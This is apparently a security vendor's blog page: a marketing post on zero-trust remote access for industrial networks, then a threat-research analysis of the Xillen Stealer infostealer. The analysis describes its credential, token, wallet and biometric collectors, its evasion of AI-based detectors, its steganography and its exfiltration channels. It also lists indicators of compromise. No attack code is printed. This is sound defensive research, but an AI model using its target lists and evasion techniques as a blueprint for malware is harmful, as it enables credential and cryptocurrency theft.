Security strategies that work well in IT often fall short in OT, where even small missteps can lead to environmental risk, safety incidents, or costly disruptions. Add in mounting regulatory pressure to enforce secure access, enforce segmentation, and demonstrate accountability, and it becomes clear: visibility alone is no longer sufficient. What industrial environments need now is precision. They need control. And they need to implement both without interrupting operations. All this requires identity-based access controls, real-time session oversight, and continuous behavioral detection.

The risk of unmonitored remote access

This risk becomes most evident during critical moments, such as when an OEM needs urgent access to troubleshoot a malfunctioning asset.

Under that time pressure, access is often provisioned quickly with minimal verification, bypassing established processes. Once inside, there’s little to no real-time oversight of user actions whether they’re executing commands, changing configurations, or moving laterally across the network. These actions typically go unlogged or unnoticed until something breaks. At that point, teams are stuck piecing together fragmented logs or post-incident forensics, with no clear line of accountability.  

In environments where uptime is critical and safety is non-negotiable, this level of uncertainty simply isn’t sustainable.

The visibility gap: Who’s doing what, and when?

The fundamental issue we encounter is the disconnect between who has access and what they are doing with it.  

Traditional access management tools may validate credentials and restrict entry points, but they rarely provide real-time visibility into in-session activity. Even fewer can distinguish between expected vendor behavior and subtle signs of compromise, misuse or misconfiguration.  

As a result, OT and security teams are often left blind to the most critical part of the puzzle, intent and behavior.

Closing the gaps with zero trust controls and AI‑driven detection

Managing remote access in OT is no longer just about granting a connection, it’s about enforcing strict access parameters while continuously monitoring for abnormal behavior. This requires a two-pronged approach: precision access control, and intelligent, real-time detection.

Zero Trust access controls provide the foundation. By enforcing identity-based, just-in-time permissions, OT environments can ensure that vendors and remote users only access the systems they’re explicitly authorized to interact with, and only for the time they need. These controls should be granular enough to limit access down to specific devices, commands, or functions. By applying these principles consistently across the Purdue Model, organizations can eliminate reliance on catch-all VPN tunnels, jump servers, and brittle firewall exceptions that expose the environment to excess risk.

Access control is only one part of the equation

Darktrace / OT complements zero trust controls with continuous, AI-driven behavioral detection. Rather than relying on static rules or pre-defined signatures, Darktrace uses Self-Learning AI to build a live, evolving understanding of what’s “normal” in the environment, across every device, protocol, and user. This enables real-time detection of subtle misconfigurations, credential misuse, or lateral movement as they happen, not after the fact.

By correlating user identity and session activity with behavioral analytics, Darktrace gives organizations the full picture: who accessed which system, what actions they performed, how those actions compared to historical norms, and whether any deviations occurred. It eliminates guesswork around remote access sessions and replaces it with clear, contextual insight.

Importantly, Darktrace distinguishes between operational noise and true cyber-relevant anomalies. Unlike other tools that lump everything, from CVE alerts to routine activity, into a single stream, Darktrace separates legitimate remote access behavior from potential misuse or abuse. This means organizations can both audit access from a compliance standpoint and be confident that if a session is ever exploited, the misuse will be surfaced as a high-fidelity, cyber-relevant alert. This approach serves as a compensating control, ensuring that even if access is overextended or misused, the behavior is still visible and actionable.

If a session deviates from learned baselines, such as an unusual command sequence, new lateral movement path, or activity outside of scheduled hours, Darktrace can flag it immediately. These insights can be used to trigger manual investigation or automated enforcement actions, such as access revocation or session isolation, depending on policy.

This layered approach enables real-time decision-making, supports uninterrupted operations, and delivers complete accountability for all remote activity, without slowing down critical work or disrupting industrial workflows.

Where Zero Trust Access Meets AI‑Driven Oversight:

  • Granular Access Enforcement: Role-based, just-in-time access that aligns with Zero Trust principles and meets compliance expectations.
  • Context-Enriched Threat Detection: Self-Learning AI detects anomalous OT behavior in real time and ties threats to access events and user activity.
  • Automated Session Oversight: Behavioral anomalies can trigger alerting or automated controls, reducing time-to-contain while preserving uptime.
  • Full Visibility Across Purdue Layers: Correlated data connects remote access events with device-level behavior, spanning IT and OT layers.
  • Scalable, Passive Monitoring: Passive behavioral learning enables coverage across legacy systems and air-gapped environments, no signatures, agents, or intrusive scans required.

Complete security without compromise

We no longer have to choose between operational agility and security control, or between visibility and simplicity. A Zero Trust approach, reinforced by real-time AI detection, enables secure remote access that is both permission-aware and behavior-aware, tailored to the realities of industrial operations and scalable across diverse environments.

Because when it comes to protecting critical infrastructure, access without detection is a risk and detection without access control is incomplete.

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About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance

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November 21, 2025

Xillen Stealer Updates to Version 5 to Evade AI Detection

xillen stealer updates to version 5 to evade ai detectionDefault blog imageDefault blog image

Introduction

Python-based information stealer “Xillen Stealer” has recently released versions 4 and 5, expanding its targeting and functionality. The cross-platform infostealer, originally reported by Cyfirma in September 2025, targets sensitive data including credentials, cryptocurrency wallets, system information, browser data and employs anti-analysis techniques.  

The update to v4/v5 includes significantly more functionality, including:

  • Persistence
  • Ability to steal credentials from password managers, social media accounts, browser data (history, cookies and passwords) from over 100 browsers, cryptocurrency from over 70 wallets
  • Kubernetes configs and secrets
  • Docker scanning
  • Encryption
  • Polymorphism
  • System hooks
  • Peer-to-Peer (P2P) Command-and-Control (C2)
  • Single Sign-On (SSO) collector
  • Time-Based One-Time Passwords (TOTP) and biometric collection
  • EDR bypass
  • AI evasion
  • Interceptor for Two-Factor Authentication (2FA)
  • IoT scanning
  • Data exfiltration via Cloud APIs

Xillen Stealer is marketed on Telegram, with different licenses available for purchase. Users who deploy the malware have access to a professional-looking GUI that enables them to view exfiltrated data, logs, infections, configurations and subscription information.

Screenshot of the Xillen Stealer portal.
Figure 1: Screenshot of the Xillen Stealer portal.

Technical analysis

The following technical analysis examines some of the interesting functions of Xillen Stealer v4 and v5. The main functionality of Xillen Stealer is to steal cryptocurrency, credentials, system information, and account information from a range of stores.

Xillen Stealer specifically targets the following wallets and browsers:

AITargetDectection

Screenshot of Xillen Stealer’s AI Target detection function.
Figure 2: Screenshot of Xillen Stealer’s AI Target detection function.

The ‘AITargetDetection’ class is intended to use AI to detect high-value targets based on weighted indicators and relevant keywords defined in a dictionary. These indicators include “high value targets”, like cryptocurrency wallets, banking data, premium accounts, developer accounts, and business emails. Location indicators include high-value countries such as the United States, United Kingdom, Germany and Japan, along with cryptocurrency-friendly countries and financial hubs. Wealth indicators such as keywords like CEO, trader, investor and VIP have also been defined in a dictionary but are not in use at this time, pointing towards the group’s intent to develop further in the future.

While the class is named ‘AITargetDetection’ and includes placeholder functions for initializing and training a machine learning model, there is no actual implementation of machine learning. Instead, the system relies entirely on rule-based pattern matching for detection and scoring. Even though AI is not actually implemented in this code, it shows how malware developers could use AI in future malicious campaigns.

Screenshot of dead code function.
Figure 3: Screenshot of dead code function.

AI Evasion

Screenshot of AI evasion function to create entropy variance.
Figure 4: Screenshot of AI evasion function to create entropy variance.

‘AIEvasionEngine’ is a module designed to help malware evade AI-based or behavior-based detection systems, such as EDRs and sandboxes. It mimics legitimate user and system behavior, injects statistical noise, randomizes execution patterns, and camouflages resource usage. Its goal is to make the malware appear benign to machine learning detectors. The techniques used to achieve this are:

  • Behavioral Mimicking: Simulates user actions (mouse movement, fake browser use, file/network activity)
  • Noise Injection: Performs random memory, CPU, file, and network operations to confuse behavioral classifiers
  • Timing Randomization: Introduces irregular delays and sleep patterns to avoid timing-based anomaly detection
  • Resource Camouflage: Adjusts CPU and memory usage to imitate normal apps (such as browsers, text editors)
  • API Call Obfuscation: Random system API calls and pattern changes to hide malicious intent
  • Memory Access Obfuscation: Alters access patterns and entropy to bypass ML models monitoring memory behavior

PolymorphicEngine

As part of the “Rust Engine” available in Xillen Stealer is the Polymorphic Engine. The ‘PolymorphicEngine’ struct implements a basic polymorphic transformation system designed for obfuscation and detection evasion. It uses predefined instruction substitutions, control-flow pattern replacements, and dead code injection to produce varied output. The mutate_code() method scans input bytes and replaces recognized instruction patterns with randomized alternatives, then applies control flow obfuscation and inserts non-functional code to increase variability. Additional features include string encryption via XOR and a stub-based packer.

Collectors

DevToolsCollector

Figure 5: Screenshot of Kubernetes data function.

The ‘DevToolsCollector’ is designed to collect sensitive data related to a wide range of developer tools and environments. This includes:

IDE configurations

  • VS Code, VS Code Insiders, Visual Studio
  • JetBrains: Intellij, PyCharm, WebStorm
  • Sublime
  • Atom
  • Notepad++
  • Eclipse

Cloud credentials and configurations

  • AWS
  • GCP
  • Azure
  • Digital Ocean
  • Heroku

SSH keys

Docker & Kubernetes configurations

Git credentials

Database connection information

  • HeidiSQL
  • Navicat
  • DBeaver
  • MySQL Workbench
  • pgAdmin

API keys from .env files

FTP configs

  • FileZilla
  • WinSCP
  • Core FTP

VPN configurations

  • OpenVPN
  • WireGuard
  • NordVPN
  • ExpressVPN
  • CyberGhost

Container persistence

Screenshot of Kubernetes inject function.
Figure 6: Screenshot of Kubernetes inject function.

Biometric Collector

Screenshot of the ‘BiometricCollector’ function.
Figure 7: Screenshot of the ‘BiometricCollector’ function.

The ‘BiometricCollector’ attempts to collect biometric information from Windows systems by scanning the C:\Windows\System32\WinBioDatabase directory, which stores Windows Hello and other biometric configuration data. If accessible, it reads the contents of each file, encodes them in Base64, preparing them for later exfiltration. While the data here is typically encrypted by Windows, its collection indicates an attempt to extract sensitive biometric data.

Password Managers

The ‘PasswordManagerCollector’ function attempts to steal credentials stored in password managers including, OnePass, LastPass, BitWarden, Dashlane, NordPass and KeePass. However, this function is limited to Windows systems only.

SSOCollector

The ‘SSOCollector’ class is designed to collect authentication tokens related to SSO systems. It targets three main sources: Azure Active Directory tokens stored under TokenBroker\Cache, Kerberos tickets obtained through the klist command, and Google Cloud authentication data in user configuration folders. For each source, it checks known directories or commands, reads partial file contents, and stores the results as in a dictionary. Once again, this function is limited to Windows systems.

TOTP Collector

The ‘TOTP Collector’ class attempts to collect TOTPs from:

  • Authy Desktop by locating and reading from Authy.db SQLite databases
  • Microsoft Authenticator by scanning known application data paths for stored binary files
  • TOTP-related Chrome extensions by searching LevelDB files for identifiable keywords like “gauth” or “authenticator”.

Each method attempts to locate relevant files, parse or partially read their contents, and store them in a dictionary under labels like authy, microsoft_auth, or chrome_extension. However, as before, this is limited to Windows, and there is no handling for encrypted tokens.

Enterprise Collector

The ‘EnterpriseCollector’ class is used to extract credentials related to an enterprise Windows system. It targets configuration and credential data from:

  • VPN clients
    • Cisco AnyConnect, OpenVPN, Forticlient, Pulse Secure
  • RDP credentials
  • Corporate certificates
  • Active Directory tokens
  • Kerberos tickets cache

The files and directories are located based on standard environment variables with their contents read in binary mode and then encoded in Base64.

Super Extended Application Collector

The ‘SuperExtendedApplication’ Collector class is designed to scan an environment for 160 different applications on a Windows system. It iterates through the paths of a wide range of software categories including messaging apps, cryptocurrency wallets, password managers, development tools, enterprise tools, gaming clients, and security products. The list includes but is not limited to Teams, Slack, Mattermost, Zoom, Google Meet, MS Office, Defender, Norton, McAfee, Steam, Twitch, VMWare, to name a few.

Bypass

AppBoundBypass

This code outlines a framework for bypassing App Bound protections, Google Chrome' s cookie encryption. The ‘AppBoundBypass’ class attempts several evasion techniques, including memory injection, dynamic-link library (DLL) hijacking, process hollowing, atom bombing, and process doppelgänging to impersonate or hijack browser processes. As of the time of writing, the code contains multiple placeholders, indicating that the code is still in development.

Steganography

The ‘SteganographyModule’ uses steganography (hiding data within an image) to hide the stolen data, staging it for exfiltration. Multiple methods are implemented, including:

  • Image steganography: LSB-based hiding
  • NTFS Alternate Data Streams
  • Windows Registry Keys
  • Slack space: Writing into unallocated disk cluster space
  • Polyglot files: Appending archive data to images
  • Image metadata: Embedding data in EXIF tags
  • Whitespace encoding: Hiding binary in trailing spaces of text files

Exfiltration

CloudProxy

Screenshot of the ‘CloudProxy’ class.
Figure 8: Screenshot of the ‘CloudProxy’ class.

The CloudProxy class is designed for exfiltrating data by routing it through cloud service domains. It encodes the input data using Base64, attaches a timestamp and SHA-256 signature, and attempts to send this payload as a JSON object via HTTP POST requests to cloud URLs including AWS, GCP, and Azure, allowing the traffic to blend in. As of the time of writing, these public facing URLs do not accept POST requests, indicating that they are placeholders meant to be replaced with attacker-controlled cloud endpoints in a finalized build.

P2PEngine

Screenshot of the P2PEngine.
Figure 9: Screenshot of the P2PEngine.

The ‘P2PEngine’ provides multiple methods of C2, including embedding instructions within blockchain transactions (such as Bitcoin OP_RETURN, Ethereum smart contracts), exfiltrating data via anonymizing networks like Tor and I2P, and storing payloads on IPFS (a distributed file system). It also supports domain generation algorithms (DGA) to create dynamic .onion addresses for evading detection.

After a compromise, the stealer creates both HTML and TXT reports containing the stolen data. It then sends these reports to the attacker’s designated Telegram account.

Xillen Killers

 Xillen Killers.
FIgure 10: Xillen Killers.

Xillen Stealer appears to be developed by a self-described 15-year-old “pentest specialist” “Beng/jaminButton” who creates TikTok videos showing basic exploits and open-source intelligence (OSINT) techniques. The group distributing the information stealer, known as “Xillen Killers”, claims to have 3,000 members. Additionally, the group claims to have been involved in:

  • Analysis of Project DDoSia, a tool reportedly used by the NoName057(16) group, revealing that rather functioning as a distributed denial-of-service (DDos) tool, it is actually a remote access trojan (RAT) and stealer, along with the identification of involved individuals.
  • Compromise of doxbin.net in October 2025.
  • Discovery of vulnerabilities on a Russian mods site and a Ukrainian news site

The group, which claims to be part of the Russian IT scene, use Telegram for logging, marketing, and support.

Conclusion

While some components of XillenStealer remain underdeveloped, the range of intended feature set, which includes credential harvesting, cryptocurrency theft, container targeting, and anti-analysis techniques, suggests that once fully developed it could become a sophisticated stealer. The intention to use AI to help improve targeting in malware campaigns, even though not yet implemented, indicates how threat actors are likely to incorporate AI into future campaigns.  

Credit to Tara Gould (Threat Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendicies

Indicators of Compromise (IoCs)

395350d9cfbf32cef74357fd9cb66134 - confid.py

F3ce485b669e7c18b66d09418e979468 - stealer_v5_ultimate.py

3133fe7dc7b690264ee4f0fb6d867946 - xillen_v5.exe

https://github[.]com/BengaminButton/XillenStealer

https://github[.]com/BengaminButton/XillenStealer/commit/9d9f105df4a6b20613e3a7c55379dcbf4d1ef465

MITRE ATT&CK

ID Technique

T1059.006 - Python

T1555 - Credentials from Password Stores

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

T1555.005 - Credentials from Password Stores: Password Managers

T1649 - Steal or Forge Authentication Certificates

T1558 - Steal or Forge Kerberos Tickets

T1539 - Steal Web Session Cookie

T1552.001 - Unsecured Credentials: Credentials In Files

T1552.004 - Unsecured Credentials: Private Keys

T1552.005 - Unsecured Credentials: Cloud Instance Metadata API

T1217 - Browser Information Discovery

T1622 - Debugger Evasion

T1082 - System Information Discovery

T1497.001 - Virtualization/Sandbox Evasion: System Checks

T1115 - Clipboard Data

T1001.002 - Data Obfuscation: Steganography

T1567 - Exfiltration Over Web Service

T1657 - Financial Theft

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About the author
Tara Gould
Threat Researcher
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